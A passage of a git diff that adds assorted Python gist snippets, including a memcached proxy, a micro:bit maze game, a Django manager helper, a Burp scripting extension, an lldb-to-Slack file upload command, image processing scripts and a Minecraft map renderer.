+                mc.set(self.headers['X-Memcached-Key'], f.read(), int(self.headers['X-Memcached-Expires']))
+                f.close()
+                if DEBUG:
+                    print path+" stored for "+self.headers['X-Memcached-Expires']+"s"
+            else:
+                if DEBUG:
+                    print path+" not found or is a directory"
+    
+    def finish(self):
+        try:
+            SimpleHTTPServer.SimpleHTTPRequestHandler.finish(self)
+        except IOError, e:
+            if e.errno != 32 and DEBUG:
+                print 'Error: broken pipe'
+
+class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
+    """Handle requests in a separate thread."""
+
+if __name__ == '__main__':            
+    mc = memcache.Client(MEMCACHED, debug=0)
+    httpd = ThreadedHTTPServer(('', PORT), Proxy)
+    httpd.daemon_threads = True
+    httpd.allow_reuse_address = 1
+    if DEBUG:
+        print "Serving at port", PORT
+    httpd.serve_forever()
\ No newline at end of file
diff --git a/hard-gists/7019296a9a9ad74e44f0/._snippet.py b/hard-gists/7019296a9a9ad74e44f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7019296a9a9ad74e44f0/._snippet.py differ
diff --git a/hard-gists/7019296a9a9ad74e44f0/snippet.py b/hard-gists/7019296a9a9ad74e44f0/snippet.py
new file mode 100644
index 00000000..cc459230
--- /dev/null
+++ b/hard-gists/7019296a9a9ad74e44f0/snippet.py
@@ -0,0 +1,172 @@
+import microbit, random
+
+# from Python 3 source
+def shuffle(x):
+    for i in reversed(range(1, len(x))):
+        # pick an element in x[:i+1] with which to exchange x[i]
+        j = int(random.random() * (i+1))
+        x[i], x[j] = x[j], x[i]
+
+# correct viewport onto maze so the whole screen is always used
+def correct(x,y):
+    if x<2: x=2
+    if x>size-3: x = size-3
+    if y<2: y=2
+    if y>size-3: y = size-3
+    return x,y
+
+# correct player position so centred unless near the edge
+def player_correct(x,y):
+    if x>2 and x<size-2: x=2
+    if x>size-3: x = 5-(size-x)
+    if y>2 and y<size-2: y=2
+    if y>size-3: y = 5-(size-y)
+    return x,y
+
+# display a viewport onto the maze at position x,y    
+def set_grid(x,y):
+    x,y = correct(x,y)
+    for iy in range(5):
+         for ix in range(5):
+             microbit.display.set_pixel(ix,iy,mazeBrightness*pos(x+ix-2,y+iy-2))
+             
+# returns -1 to 1 from -1024 to +1024, empirically calculated
+def tilt_scale(a):
+    a = a + 1024 # range 0 to 2048
+    a = min(a, 2048)
+    a = max(a, 0)
+    # < 512 = 0, 512-853(512+341) = 1, 853-1194 = 2, 1194-1536 = 3,  1536-2048 = 4
+    if a<512: return -1
+    if a<853: return 0
+    if a<1194: return 0
+    if a<1536: return 0
+    return 1
+    
+def get_tilt():
+    x,y,z = microbit.accelerometer.get_values()
+    #print(x+1024,y+1024,z+1024)
+    x = tilt_scale(x)
+    y = tilt_scale(y)
+    z = tilt_scale(z)
+    #print(x,y,z)
+    return x,y,z
+
+
+def shuffled(x):
+    y = list(x)
+    shuffle(y)
+    return y
+
+DIRECTIONS = (
+    (0, -1),
+    (0, 1),
+    (1, 0),
+    (-1, 0),
+)
+
+# code adjusted from https://29a.ch/2009/9/7/generating-maps-mazes-with-python
+def make_maze(width, height, cellsize):
+    cellsize1 = cellsize+1 # cellsize including one wall
+    field_width = width*cellsize1+1
+    field_height = height*cellsize1+1
+    field = [0]*(field_width*field_height)
+    stack = [(0, 0, shuffled(DIRECTIONS))]
+    while stack:
+        x, y, directions = stack[-1]
+        dx, dy = directions.pop()
+        # no other ways to go from here
+        if not directions:
+            stack.pop()
+        # new cell
+        nx = x+dx
+        ny = y+dy
+        # out of bounds
+        if not (0 <= nx < width and 0 <= ny < height):
+            continue
+        # index of new cell in field
+        fx = 1+nx*cellsize1
+        fy = 1+ny*cellsize1
+        fi = fx+fy*field_width
+        # already visited
+        if field[fi]:
+            continue
+        # tear down walls
+        if dx > 0:
+            a = -1
+            b = field_width
+        elif dx < 0:
+            a = cellsize
+            b = field_width
+        elif dy > 0:
+            a = -field_width
+            b = 1
+        else:
+            a = cellsize*field_width
+            b = 1
+        for offset in range(cellsize):
+            field[fi+a+b*offset] = 1
+        # clear cell
+        for y in range(0, cellsize):
+            for x in range(0, cellsize):
+                field[fi+x+y*field_width] = 1
+        # visit cell
+        stack.append([nx, ny, shuffled(DIRECTIONS)])
+    for i in field:
+        field[i] = 1-field[i]
+    return field
+
+#convert 2d coords to 1d array
+def pos(x,y):
+    return maze[y*size+x]
+
+def set_pos(x,y,v):
+    maze[y*size+x] = v
+
+#find an empty square
+def get_space():
+    startPos = False
+    while startPos == False:
+        x = random.randint(1,size-1)
+        y = random.randint(1,size-1)
+        if pos(x,y) == 0:
+            print("found startPos",x,y, pos(x,y))
+            startPos = True
+    return x,y
+
+gameSpeed = 300
+size = 6 # more than 6 runs out of memory
+mazeBrightness = 1
+goalBrightness = 5 # goalBrightness * mazeBrightness < 9
+maze = make_maze(size,size,1)
+print(maze,len(maze))
+# correct size to allow for walls etc
+size = 2*size+1
+
+# create a goal square
+goalX,goalY = get_space()
+set_pos(goalX,goalY,goalBrightness)
+
+# create player
+x,y = get_space()
+
+won = False
+while won == False:
+    set_grid(x,y) # draw viewport onto maze
+    xv,yv,zv = get_tilt()
+    
+    dx,dy = player_correct(x,y)
+    microbit.display.set_pixel(dx,dy,9) # draw player
+    
+    # stop moving off maze
+    if x+xv < 0 or x+xv > size-1: xv = 0
+    if y+yv < 0 or y+yv > size-1: yv = 0
+    
+    # if we found the goal, stop
+    if pos(x+xv,y+yv) == goalBrightness:
+        won = True
+    # if moving to a blank square, allow
+    if pos(x+xv,y+yv) == 0:
+        x += xv
+        y += yv
+    microbit.sleep(gameSpeed)
+microbit.display.show("Win!")
\ No newline at end of file
diff --git a/hard-gists/7020937/._snippet.py b/hard-gists/7020937/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7020937/._snippet.py differ
diff --git a/hard-gists/7020937/snippet.py b/hard-gists/7020937/snippet.py
new file mode 100644
index 00000000..9bbf3e2d
--- /dev/null
+++ b/hard-gists/7020937/snippet.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+#BoF(SIFT)により一般物体認識を行うサンプルコード
+#今回はイルカと象を識別
+#評価用のデータセットとしてCaltech 101を使用
+#see also: http://www.vision.caltech.edu/Image_Datasets/Caltech101/
+
+import cv2
+import numpy as np
+from sklearn import svm
+from sklearn import cross_validation
+
+from BagOfFeatures import *
+
+#ディレクトリ内にある画像をすべて読み込む関数
+def loadImages(path):
+    import os
+    imagePathes=map(lambda a:os.path.join(path,a),os.listdir(path))
+    images=map(cv2.imread,imagePathes)
+    return(images)
+
+#画像群からそれぞれの記述子を計算する関数。一応特徴点を検出し、その周りから抽出
+def extractDescriptors(images,method):
+    detector = cv2.FeatureDetector_create(method)
+    extractor = cv2.DescriptorExtractor_create(method)
+    keypoints=map(detector.detect,images)
+    descriptors=map(lambda a,b:extractor.compute(a,b)[1],images,keypoints)
+    return(descriptors)
+
+if __name__== "__main__":
+    #イルカと象のディレクトリ内にある画像を読むこむ
+    images={}
+    images["dolphin"]=loadImages("./101_ObjectCategories/dolphin")
+    images["elephant"]=loadImages("./101_ObjectCategories/elephant")
+
+    #それぞれの画像からSIFT記述子を計算
+    features={}
+    features["dolphin"]=extractDescriptors(images["dolphin"],method="SIFT")
+    features["elephant"]=extractDescriptors(images["elephant"],method="SIFT")
+    features["all"]=np.vstack(np.append(features["dolphin"],features["elephant"]))
+    
+    #正解ラベル作成
+    labels=np.append(["dolphin"]*len(images["dolphin"]),["elephant"]*len(images["elephant"]))
+    
+    #BoFの種類を変更しながら評価
+    for oneOfBoF in [BagOfFeatures,BagOfFeaturesGMM]:
+        #コードブック数を15として、BoFを計算できるように学習
+        bof=oneOfBoF(codebookSize=15)
+        bof.train(features["all"])
+        
+        #各画像に対応する記述子からヒストグラムを作成
+        hist={}
+        hist["dolphin"]=map(lambda a:bof.makeHistogram(np.matrix(a)),features["dolphin"])
+        hist["elephant"]=map(lambda a:bof.makeHistogram(np.matrix(a)),features["elephant"])
+        hist["all"]=np.vstack(np.vstack([hist["dolphin"],hist["elephant"]]))
+            
+        #非線形SVMを使い、5-fold cross validationで平均認識率を計算
+        classifier=svm.SVC()
+        scores=cross_validation.cross_val_score(classifier, hist["all"], labels, cv=5)
+        score=np.mean(scores)*100
+        
+        #認識率を表示
+        print("Ave. score(%s):%f[%%]"%(oneOfBoF.__name__, score))
diff --git a/hard-gists/7025496/._snippet.py b/hard-gists/7025496/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7025496/._snippet.py differ
diff --git a/hard-gists/7025496/snippet.py b/hard-gists/7025496/snippet.py
new file mode 100644
index 00000000..d8c54c8e
--- /dev/null
+++ b/hard-gists/7025496/snippet.py
@@ -0,0 +1,61 @@
+from django.db.models.query import QuerySet
+from django.db import models
+
+
+class QuerySetManager(QuerySet):
+    '''
+    Subclass this class to define custom Managers with chainable, custom
+    QuerySet calls. 
+
+    For example, define your queryset subclassing this object:
+    
+        class MyModelQuerySet(QuerySetManager):
+            
+            def active(self):
+                return self.filter(active=True)
+
+            def published(self):
+                return self.filter(published=True)
+         
+    In your model definition, set the `objects` attribute as follows:
+
+        class MyModel(models.Model):
+            active = models.BooleanField()
+            published = models.BooleanField()
+
+            # Here is the usage
+            objects = MyModelQuerySet().as_manager()
+ 
+    Which allows calls like:
+
+        >> MyModel.objects.active().published()
+
+    This is intended to avoid the boilerplate of the common technique
+    described here:
+        http://djangosnippets.org/snippets/734/
+        http://seanmonstar.com/post/708862164/extending-django-models-managers-and-querysets
+    '''
+    def as_manager(self):
+
+        qs_class = self.__class__
+
+        class Manager(models.Manager):
+
+            # https://docs.djangoproject.com/en/dev/topics/db/managers/#controlling-automatic-manager-types
+            use_for_related_fields = True
+
+            def get_query_set(self):
+                return qs_class(self.model)
+
+            def __getattr__(self, attr, *args):
+                # Avoids recursive copy when using proxy models, see: 
+                #   https://code.djangoproject.com/ticket/15062
+                #   https://docs.djangoproject.com/en/dev/topics/db/managers/#implementation-concerns
+                #   http://nedbatchelder.com/blog/201010/surprising_getattr_recursion.html 
+                if attr.startswith("__"):
+                    raise AttributeError
+                try:
+                    return getattr(self.__class__, attr, *args)
+                except AttributeError:
+                    return getattr(self.get_query_set(), attr, *args) 
+        return Manager()
diff --git a/hard-gists/7026954/._snippet.py b/hard-gists/7026954/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7026954/._snippet.py differ
diff --git a/hard-gists/7026954/snippet.py b/hard-gists/7026954/snippet.py
new file mode 100644
index 00000000..8dc9531d
--- /dev/null
+++ b/hard-gists/7026954/snippet.py
@@ -0,0 +1,84 @@
+from java.awt import Font
+from javax.swing import JScrollPane, JTextPane
+from javax.swing.text import SimpleAttributeSet
+
+from burp import IBurpExtender, IExtensionStateListener, IHttpListener, ITab
+
+import base64
+import traceback
+
+
+class BurpExtender(IBurpExtender, IExtensionStateListener, IHttpListener, ITab):
+    def registerExtenderCallbacks(self, callbacks):
+        self.callbacks = callbacks
+        self.helpers = callbacks.helpers
+
+        self.scriptpane = JTextPane()
+        self.scriptpane.setFont(Font('Monospaced', Font.PLAIN, 11))
+
+        self.scrollpane = JScrollPane()
+        self.scrollpane.setViewportView(self.scriptpane)
+
+        self._code = compile('', '<string>', 'exec')
+        self._script = ''
+
+        script = callbacks.loadExtensionSetting('script')
+
+        if script:
+            script = base64.b64decode(script)
+
+            self.scriptpane.document.insertString(
+                    self.scriptpane.document.length,
+                    script,
+                    SimpleAttributeSet())
+
+            self._script = script
+            self._code = compile(script, '<string>', 'exec')
+
+        callbacks.registerExtensionStateListener(self)
+        callbacks.registerHttpListener(self)
+        callbacks.customizeUiComponent(self.getUiComponent())
+        callbacks.addSuiteTab(self)
+
+        self.scriptpane.requestFocus()
+
+    def extensionUnloaded(self):
+        try:
+            self.callbacks.saveExtensionSetting(
+                    'script', base64.b64encode(self._script))
+        except Exception:
+            traceback.print_exc(file=self.callbacks.getStderr())
+        return
+
+    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
+        try:
+            globals_ = {}
+            locals_  = {'extender': self,
+                        'callbacks': self.callbacks,
+                        'helpers': self.helpers,
+                        'toolFlag': toolFlag,
+                        'messageIsRequest': messageIsRequest,
+                        'messageInfo': messageInfo
+                        }
+            exec(self.script, globals_, locals_)
+        except Exception:
+            traceback.print_exc(file=self.callbacks.getStderr())
+        return
+
+    def getTabCaption(self):
+        return 'Script'
+
+    def getUiComponent(self):
+        return self.scrollpane
+
+    @property
+    def script(self):
+        end = self.scriptpane.document.length
+        _script = self.scriptpane.document.getText(0, end)
+
+        if _script == self._script:
+            return self._code
+
+        self._script = _script
+        self._code = compile(_script, '<string>', 'exec')
+        return self._code
\ No newline at end of file
diff --git a/hard-gists/702a848ba0a7a64b139985f5cad885f0/._snippet.py b/hard-gists/702a848ba0a7a64b139985f5cad885f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/702a848ba0a7a64b139985f5cad885f0/._snippet.py differ
diff --git a/hard-gists/702a848ba0a7a64b139985f5cad885f0/snippet.py b/hard-gists/702a848ba0a7a64b139985f5cad885f0/snippet.py
new file mode 100644
index 00000000..4991abbb
--- /dev/null
+++ b/hard-gists/702a848ba0a7a64b139985f5cad885f0/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+
+import lldb
+
+def slack(debugger, command, result, internal_dict):
+    frame = lldb.debugger.GetSelectedTarget().GetProcess().GetSelectedThread().GetSelectedFrame()
+    path = command
+
+    lldb.debugger.HandleCommand("""
+    expr -l swift --
+    func $sendToSlackForFileUpload(path: String) {
+        let URL = NSURL(fileURLWithPath: NSHomeDirectory()).URLByAppendingPathComponent(path)
+        let fileName = path.componentsSeparatedByString("/").last!
+        guard let data = NSData(contentsOfURL: URL) else { print("not found: \(URL.absoluteString)"); return }
+
+        var url = "https://slack.com/api/files.upload?"
+        [
+            "token": "<your-token>",
+            "channels": "#general",
+            "title": ":lldb:",
+            "initial_comment": URL.absoluteString,
+        ].forEach { (key, value) in
+            if let encodedValue = value.stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet.URLHostAllowedCharacterSet()) {
+                url += "&\(key)=\(encodedValue)"
+            }
+        }
+
+        let newline = "\\r\\n"
+        let boundary = String(format: "boundary.%08x%08x", arc4random(), arc4random())
+        let body = NSMutableData()
+        body.appendData("--\(boundary)\(newline)".dataUsingEncoding(NSUTF8StringEncoding)!)
+        body.appendData("Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\(fileName)\\\"\(newline)\".dataUsingEncoding(NSUTF8StringEncoding)!)
+        body.appendData("Content-Type: auto\(newline)\(newline)".dataUsingEncoding(NSUTF8StringEncoding)!)
+        body.appendData(data)
+        body.appendData(newline.dataUsingEncoding(NSUTF8StringEncoding)!)
+        body.appendData("--\(boundary)--\(newline)".dataUsingEncoding(NSUTF8StringEncoding)!)
+
+        let request = NSMutableURLRequest(URL: NSURL(string: url)!)
+        request.HTTPMethod = "POST"
+        request.setValue("multipart/form-data; boundary=" + boundary, forHTTPHeaderField: "Content-Type")
+        request.HTTPBody = body
+
+        print("Please run 'continue'")
+        NSURLSession.sharedSession().dataTaskWithRequest(request) { (data, response, error) -> Void in
+            guard error == nil else { print("failed upload: \(error)"); return }
+            print("upload success")
+        }.resume()
+    }
+    """.strip())
+    expr = 'expr -l swift -- $sendToSlackForFileUpload(' + path + ')'
+    lldb.debugger.HandleCommand(expr)
+
+def __lldb_init_module(debugger,internal_dict):
+    debugger.HandleCommand("command script add -f slack.slack slack")
+    print"slack command enabled."
\ No newline at end of file
diff --git a/hard-gists/702d05be879fa5a23d2b/._snippet.py b/hard-gists/702d05be879fa5a23d2b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/702d05be879fa5a23d2b/._snippet.py differ
diff --git a/hard-gists/702d05be879fa5a23d2b/snippet.py b/hard-gists/702d05be879fa5a23d2b/snippet.py
new file mode 100644
index 00000000..98c0bfb4
--- /dev/null
+++ b/hard-gists/702d05be879fa5a23d2b/snippet.py
@@ -0,0 +1,104 @@
+#Import both skimage and cv
+from skimage import transform as tf
+from skimage import io
+import cv2
+
+import numpy as np
+from scipy import optimize
+import matplotlib.pyplot as plt
+
+# Could use either skimage or cv to read the image
+# img = io.imread('jar.png')   
+img = cv2.imread('jar.png')
+gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+ret, thresh = cv2.threshold(gray_image,127,255,cv2.THRESH_BINARY)
+edges = cv2.Canny(thresh ,100, 200)
+
+# Find largest contour (should be the label)
+contours,hierarchy = cv2.findContours(edges, 0, 1)
+areas = [cv2.contourArea(c) for c in contours]
+max_index = np.argmax(areas)
+cnt=contours[max_index]
+
+# Create a mask of the label
+mask = np.zeros(img.shape,np.uint8)
+cv2.drawContours(mask, [cnt],0,255,-1)
+
+# Find the 4 borders
+scale = 1
+delta = 0
+ddepth = cv2.CV_8U
+borderType=cv2.BORDER_DEFAULT
+left = cv2.Sobel(mask,ddepth,1,0,ksize=1,scale=1,delta=0,borderType=borderType)
+right = cv2.Sobel(mask,ddepth,1,0,ksize=1,scale=-1,delta=0, borderType=borderType)
+top = cv2.Sobel(mask,ddepth,0,1,ksize=1,scale=1,delta=0,borderType=borderType)
+bottom = cv2.Sobel(mask,ddepth,0,1,ksize=1,scale=-1,delta=0,borderType=borderType)
+
+# Remove noise from borders
+kernel = np.ones((2,2),np.uint8)
+left_border = cv2.erode(left,kernel,iterations = 1)
+right_border = cv2.erode(right,kernel,iterations = 1)
+top_border = cv2.erode(top,kernel,iterations = 1)
+bottom_border = cv2.erode(bottom,kernel,iterations = 1)
+
+# Equations 1 and 2: c1 + c2*x + c3*y + c4*x*y, c5 + c6*y + c7*x + c8*x^2
+# Find coeficients c1,c2,c3,c4,c5,c6,c7,c8 by minimizing the error function. 
+# Points on the left border should be mapped to (0,anything).
+# Points on the right border should be mapped to (108,anything)
+# Points on the top border should be mapped to (anything,0)
+# Points on the bottom border should be mapped to (anything,70)
+sum_of_squares_y = '+'.join( [ "(c[0]+c[1]*%s+c[2]*%s+c[3]*%s*%s)**2" % \
+    (x,y,x,y) for y,x,z in np.transpose(np.nonzero(left_border)) ])
+sum_of_squares_y += " + "
+sum_of_squares_y += '+'.join( [ "(-108+c[0]+c[1]*%s+c[2]*%s+c[3]*%s*%s)**2" % \
+    (x,y,x,y) for y,x,z in np.transpose(np.nonzero(right_border)) ])
+res_y = optimize.minimize(lambda c: eval(sum_of_squares_y),(0,0,0,0),method='SLSQP')
+
+sum_of_squares_x = '+'.join( [ "(-70+c[0]+c[1]*%s+c[2]*%s+c[3]*%s*%s)**2" % \
+    (y,x,x,x) for y,x,z in np.transpose(np.nonzero(bottom_border)) ] )
+sum_of_squares_x += " + "
+sum_of_squares_x += '+'.join( [ "(c[0]+c[1]*%s+c[2]*%s+c[3]*%s*%s)**2" % \
+    (y,x,x,x) for y,x,z in np.transpose(np.nonzero(top_border)) ] )
+res_x = optimize.minimize(lambda c: eval(sum_of_squares_x),(0,0,0,0), method='SLSQP')
+
+# Map the image using equatinos 1 and 2 (coeficients c1...c8 in res_x and res_y)
+def map_x(res, coord):
+    return res[0] + res[1]*coord[1] + res[2]*coord[0] + res[3]*coord[1]*coord[0]
+def map_y(res, coord):
+    return res[0] + res[1]*coord[0] + res[2]*coord[1] + res[3]*coord[1]*coord[1]
+
+flattened = np.zeros(img.shape, img.dtype) 
+for y,x,z in np.transpose(np.nonzero(mask)):
+    new_y = map_y(res_x.x,[y,x]) 
+    new_x = map_x(res_y.x,[y,x])
+    flattened[float(new_y)][float(new_x)] = img[y][x]
+# Crop the image 
+flattened = flattened[0:70, 0:105]
+
+# Alternatively, use PiecewiseAffineTransform from SciKit-image to transform the image
+leftmost = tuple(cnt[cnt[:,:,0].argmin()][0])
+rightmost = tuple(cnt[cnt[:,:,0].argmax()][0])
+topmost = tuple(cnt[cnt[:,:,1].argmin()][0])
+bottommost = tuple(cnt[cnt[:,:,1].argmax()][0])
+
+dst = list()
+src = list()
+for y,x,z in np.transpose(np.nonzero(top_border)):
+    dst.append([x,y])
+    src.append([x,topmost[1]])
+for y,x,z in np.transpose(np.nonzero(bottom_border)):
+    dst.append([x,y])
+    src.append([x,bottommost[1]])
+for y,x,z in np.transpose(np.nonzero(left_border)):
+    dst.append([x,y])
+    src.append([leftmost[0],y])
+for y,x,z in np.transpose(np.nonzero(right_border)):
+    dst.append([x,y])
+    src.append([rightmost[0],y])
+src = np.array(src)
+dst = np.array(dst)
+
+tform3 = tf.PiecewiseAffineTransform()
+tform3.estimate(src, dst)
+warped = tf.warp(img, tform3, order=2)
+warped = warped[85:170, 31:138]
\ No newline at end of file
diff --git a/hard-gists/7030355/._snippet.py b/hard-gists/7030355/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7030355/._snippet.py differ
diff --git a/hard-gists/7030355/snippet.py b/hard-gists/7030355/snippet.py
new file mode 100644
index 00000000..60ddaad8
--- /dev/null
+++ b/hard-gists/7030355/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/python
+
+from mpd import MPDClient
+from random import randint, shuffle
+
+client = MPDClient()
+client.connect('localhost', 6600)
+
+albums = client.list("album")
+shuffle(albums)
+
+randAlbum = albums[randint(0, len(albums)-1)]
+artists = client.list("artist", "album", randAlbum)
+if len(artists) > 1:
+	artist = artists[randint(0, len(artists)-1)]
+else:
+	artist = artists[0]
+
+files = client.list("filename", "album", randAlbum)
+client.clear()
+
+for file in files:
+	client.add(file)
+client.play()
+print("Playing \"%s - %s\"" % (artist, randAlbum))
+
+client.close()
+client.disconnect()
+
diff --git a/hard-gists/704add465613d5ca0d53/._snippet.py b/hard-gists/704add465613d5ca0d53/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/704add465613d5ca0d53/._snippet.py differ
diff --git a/hard-gists/704add465613d5ca0d53/snippet.py b/hard-gists/704add465613d5ca0d53/snippet.py
new file mode 100644
index 00000000..65476af2
--- /dev/null
+++ b/hard-gists/704add465613d5ca0d53/snippet.py
@@ -0,0 +1,89 @@
+# Getting started:
+# pip install python-json-logger
+
+# settings.py
+import os
+
+LOG_LEVEL = os.getenv('LOG_LEVEL', 'INFO')
+
+
+LOGGING = {
+    'version': 1,
+    'disable_existing_loggers': False,
+    'formatters': {
+        'json': {
+            '()': 'pythonjsonlogger.jsonlogger.JsonFormatter',
+            'format': '%(asctime)s %(created)f %(exc_info)s %(filename)s %(funcName)s %(levelname)s %(levelno)s %(lineno)d %(module)s %(message)s %(pathname)s %(process)s %(processName)s %(relativeCreated)d %(thread)s %(threadName)s'
+        },
+        'verbose': {
+            'format': 'levelname=%(levelname)s asctime=%(asctime)s module=%(module)s process=%(process)d thread=%(thread)d message="%(message)s"'
+        }
+    },
+    'handlers': {
+        'file': {
+            'level': LOG_LEVEL,
+            'class': 'logging.handlers.RotatingFileHandler',
+            'formatter': 'json',
+            'filename': '/path/to/logfile/application_name.log',
+            'mode': 'a',
+            # 10MB log file max
+            'maxBytes': 10000000,
+            # Original, plus 5 backups for 6 total log files
+            'backupCount': 5
+        },
+        'console': {
+            'level': LOG_LEVEL,
+            'class': 'logging.StreamHandler',
+            'formatter': 'verbose'
+        }
+    },
+    'loggers': {
+        '': {
+            'handlers': ['console', 'file'],
+            'level': LOG_LEVEL
+        }
+    }
+}
+
+
+try:
+    from settingslocal import *
+except ImportError:
+    pass
+
+
+# myapp.py
+import settings
+import logging
+
+from logging import config
+
+# Setup logging
+config.dictConfig(settings.LOGGING)
+ 
+logging.warning("Error occured while processing document",
+                extra={"document_id": 1234, "user": "steve.exampleton@somewhere.org"} )
+                
+# Result:
+"""
+{  
+   "asctime":"2016-01-28 17:05:28,717",
+   "created":1454000728.717773,
+   "exc_info":null,
+   "filename":"myapp.py",
+   "funcName":"test_a_logging_call",
+   "levelname":"WARNING",
+   "levelno":30,
+   "lineno":10,
+   "module":"myapp",
+   "message":"Error occured while processing document",
+   "pathname":"myapp.py",
+   "process":15568,
+   "processName":"MainProcess",
+   "relativeCreated":25.239944458007812,
+   "thread":140374777714496,
+   "threadName":"MainThread",
+   "user":"steve.exampleton@somewhere.org",
+   "document_id":1234
+}
+"""
\ No newline at end of file
diff --git a/hard-gists/706573/._snippet.py b/hard-gists/706573/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/706573/._snippet.py differ
diff --git a/hard-gists/706573/snippet.py b/hard-gists/706573/snippet.py
new file mode 100644
index 00000000..70c6ea2a
--- /dev/null
+++ b/hard-gists/706573/snippet.py
@@ -0,0 +1,172 @@
+from struct import unpack
+import Image
+
+tag_types = { 0 : 'End',
+			  1 : 'Byte',
+			  2 : 'Short',
+			  3 : 'Int',
+			  4 : 'Long',
+			  5 : 'Float',
+			  6 : 'Double',
+			  7 : 'Byte array',
+			  8 : 'String',
+			  9 : 'List',
+			  10 : 'Compound'}
+
+# Read number and type of list items and print them
+def read_list_payload(chunk):
+	list_item_type = ord(chunk.read(1))
+	list_length = unpack('>l', chunk.read(4))[0]
+
+	print "%d items of type %s" % (list_length, tag_types[list_item_type])
+	
+def read_byte(chunk):
+	return ord(chunk.read(1))
+
+def read_short(chunk):
+	return unpack('>h', chunk.read(2))[0]
+	
+def read_int(chunk):
+	return unpack('>l', chunk.read(4))[0]
+			
+def read_long(chunk):
+	return unpack('>q', chunk.read(8))[0]
+			
+def read_byte_array(chunk):
+	length = read_int(chunk)
+	print "Array length: %d" % length
+	payload = chunk.read(length)
+	return payload
+	
+def read_compound(chunk):
+	payload = []
+	tag = read_tag(chunk)
+	payload.append(tag)
+	tag_type = tag[0]
+	while (tag_type > 0):
+		tag = read_tag(chunk)
+		payload.append(tag)
+		tag_type = tag[0]
+	
+	print "Read %d elements in compound" % len(payload)
+
+	return payload
+	
+def read_string(chunk):
+	str_length = unpack('>h', chunk.read(2))[0]
+	if (str_length > 0):
+		str = chunk.read(str_length)
+		#print "Name: %s" % name
+	else:
+		str = None
+	return str
+	
+# Read entire tag
+def read_tag(chunk):
+	type = ord(chunk.read(1)) # Chunk starts with "10" byte
+	print "Found tag type: %s" % (tag_types[type], )
+	if (type > 0):
+		name = read_string(chunk)
+		if (name != None):
+			print "Name: %s" % name
+	else:
+		name = ''
+		
+	payload = None
+	# Read payload of each tag. "0" tag has no payload
+	if (type == 1):
+		payload = read_byte(chunk)
+	elif (type == 2):
+		payload = read_short(chunk)
+	elif (type == 3):
+		payload = read_int(chunk)
+	elif (type == 4):
+		payload = read_long(chunk)
+	elif (type == 5): # no separate float for now
+		payload = read_long(chunk)
+	elif (type == 6): # no separate double for now
+		payload = read_long(chunk)
+	elif (type == 7):
+		payload = read_byte_array(chunk)
+	elif (type == 8):
+		payload = read_string(chunk)
+	elif (type == 9):
+		payload = read_list_payload(chunk)
+	elif (type == 10):
+		payload = read_compound(chunk)
+		
+	return (type, name, payload)
+
+chunk = open('c.-d.18', 'r')
+
+output = read_tag(chunk)
+
+print output[0]
+
+for level in output[2]:
+	# skip end tags
+	if (level[0] == 0): 
+		continue
+		
+	for tag in level[2]:
+		if (tag[0] == 0):
+			continue
+		print tag[1]
+		if tag[1] == "Blocks":
+			blocks = tag[2]
+			
+print "Blocks retrieved"
+print "Blocks count: %d" % len(blocks)
+
+y = 16
+
+# Print map by block ID
+for z in range(0, 16):
+  for x in range (0, 16):
+    print ord(blocks[ y + ( z * 128 + (x * 128 * 16)) ]),
+  print 
+  
+def get_cropbox(x, y):
+	return (x*16, y*16, x*16 + 16, y*16 + 16)
+
+terrain = Image.open("terrain.png")
+
+stone = terrain.crop(get_cropbox(0,0))
+dirt = terrain.crop(get_cropbox(2,0))
+gravel = terrain.crop(get_cropbox(3,1))
+sand = terrain.crop(get_cropbox(2,1))
+coal = terrain.crop(get_cropbox(2,2))
+iron = terrain.crop(get_cropbox(1,2))
+gold = terrain.crop(get_cropbox(0,2))
+redstone = terrain.crop(get_cropbox(3,3))
+diamond = terrain.crop(get_cropbox(2,3))
+
+map = Image.new("RGB", (256, 256))
+
+# Draw map
+for x in range(0, 16):
+  for z in range (0, 16):
+	block_id = ord(blocks[ y + ( z * 128 + (x * 128 * 16)) ])
+	if block_id == 1:
+		map.paste(stone, get_cropbox(x, z))
+	elif block_id == 3:
+		map.paste(dirt, get_cropbox(x, z))
+	elif block_id == 13:
+		map.paste(gravel, get_cropbox(x, z))
+	elif block_id == 12:
+		map.paste(sand, get_cropbox(x, z))
+	elif block_id == 16:
+		map.paste(coal, get_cropbox(x, z))
+	elif block_id == 15:
+		map.paste(iron, get_cropbox(x, z))
+	elif block_id == 14:
+		map.paste(gold, get_cropbox(x, z))
+	elif block_id == 73:
+		map.paste(redstone, get_cropbox(x, z))
+	elif block_id == 56:
+		map.paste(diamond, get_cropbox(x, z))
+	
+try:
+	map.save('.\map.png', 'PNG')
+except:
+	print "Something went wrong on save"
\ No newline at end of file
diff --git a/hard-gists/7065820/._snippet.py b/hard-gists/7065820/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7065820/._snippet.py differ
diff --git a/hard-gists/7065820/snippet.py b/hard-gists/7065820/snippet.py
new file mode 100644
index 00000000..1bd0f016
--- /dev/null
+++ b/hard-gists/7065820/snippet.py
@@ -0,0 +1,38 @@
+#! /usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from PIL import Image
+import struct, os, sys
+
+def usage():
+    print './png2rgb565.py HOGE.png'
+    sys.exit(1)
+    
+def error(msg):
+    print msg
+    sys.exit(-1)
+    
+def write_bin(f, pixel_list):
